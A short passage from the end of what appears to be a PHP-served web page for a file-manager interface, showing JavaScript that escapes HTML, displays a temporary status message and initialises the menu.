        if (m === '&') return '&amp;';
        if (m === '<') return '&lt;';
        if (m === '>') return '&gt;';
        return m;
    });
}

function showResult(message, status) {
    const resultDiv = document.getElementById('fileManagerResult');
    if (resultDiv) {
        resultDiv.innerHTML = `<div class="${status === 'success' ? 'success' : 'error'}">${escapeHtml(message)}</div>`;
        setTimeout(() => { resultDiv.innerHTML = ''; }, 3000);
    } else {
        alert(message);
    }
}

// Initialize
buildMenu();
loadAction('filemanager');
</script>
</body>
</html>
<?php
?>